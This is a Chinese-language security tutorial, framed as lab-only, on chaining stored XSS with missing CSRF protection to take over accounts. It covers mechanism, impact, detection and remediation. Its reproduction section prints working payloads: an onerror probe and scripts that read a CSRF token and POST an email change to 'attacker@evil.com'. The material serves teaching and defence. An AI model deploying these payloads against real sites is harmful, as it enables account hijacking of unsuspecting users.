写在前面:合法学习边界
本文的联动利用只在自建靶场进行。在真实站点注入脚本、窃取会话、触发敏感操作可能触犯法律。
一、漏洞原理:为什么 XSS 和 CSRF 能串联
XSS 与 CSRF 的成因不同,但配合起来就是“账号接管链”:
1
2
| CSRF:浏览器会自动带 Cookie,服务端信任请求来源
XSS:能在受害者浏览器里执行任意脚本
|
把两者串联:
1
2
3
4
| 1. 存储型 XSS 在受害者浏览器执行
2. 脚本代替受害者发起敏感请求(改邮箱/改密/加管理员)
3. 浏览器自动带 Cookie → 服务端认为是用户本人操作
4. 攻击者拿到邮箱/密码重置 → 完全接管账号
|
关键点:XSS 解决了 CSRF 的“不能读响应、不能带自定义头”的短板,CSRF 又让 XSS 的后果从“弹窗”升级为“账号控制”。

二、影响与危害
1
2
3
4
| 账号完全接管(改密、绑定邮箱)
垂直提升(低权限 → 管理员)
批量受影响(存储型 XSS 打所有访问者)
配合钓鱼进一步扩大战果
|
风险等级:存储型 XSS + 敏感接口无 CSRF 防护时,属于严重。
三、利用 / 复现
场景
靶场里有一个支持富文本的留言/资料接口,存在存储型 XSS;同时改邮箱接口只依赖 Cookie,没有校验 CSRF Token。
第一步:确认存储型 XSS
1
| <img src=x onerror="alert(document.domain)">
|
在留言里提交,其他用户打开页面能弹窗,说明存储型 XSS 成立。
第二步:窃取 CSRF Token(如果接口有 Token)
用脚本在受害者上下文里读取 Token 并调用敏感接口:
1
2
3
4
5
6
7
8
9
| <script>
fetch('/api/csrf')
.then(r => r.json())
.then(d => fetch('/api/change-email', {
method: 'POST',
headers: { 'X-CSRF-Token': d.token },
body: new URLSearchParams({ email: 'attacker@evil.com' })
}));
</script>
|
第三步:无 Token 时直接触发
如果接口只认 Cookie,脚本更简单:
1
2
3
| <script>
fetch('/api/change-email', {method:'POST', body:new URLSearchParams({email:'attacker@evil.com'})});
</script>
|
结果验证
1
2
| 受害者打开页面后,其邮箱被改成攻击者邮箱
攻击者用“忘记密码”接管账号
|
四、检测
1
2
3
4
| 日志中找 <script>、onerror、fetch、XMLHttpRequest 特征
同会话内出现“浏览页面 + 异常敏感接口调用”
改邮箱/改密接口的请求来源是页面而非正常表单
多次相同 XSS payload 提交
|
五、防御
1
2
3
4
| 输出编码 + CSP(限脚本来源)
敏感接口使用 CSRF Token + SameSite Cookie
HttpOnly 防 Cookie 被读,但 CSRF 仍要 Token
对富文本输入做白名单过滤
|
六、修复
1
2
3
4
| 修复 XSS:按上下文编码、启用 CSP、富文本白名单
修复 CSRF:敏感接口校验 Token + SameSite + 二次验证
关键操作(改密/改邮箱/加管理员)强制二次认证
修复后复测:注入脚本不执行、跨站请求被拒
|
七、小结
XSS 与 CSRF 联动说明:单看一个漏洞可能“中危”,串起来就是“严重”。渗透测试时要习惯把入口漏洞和后续动作连成链,防守方则要同时修掉链路上的每一环。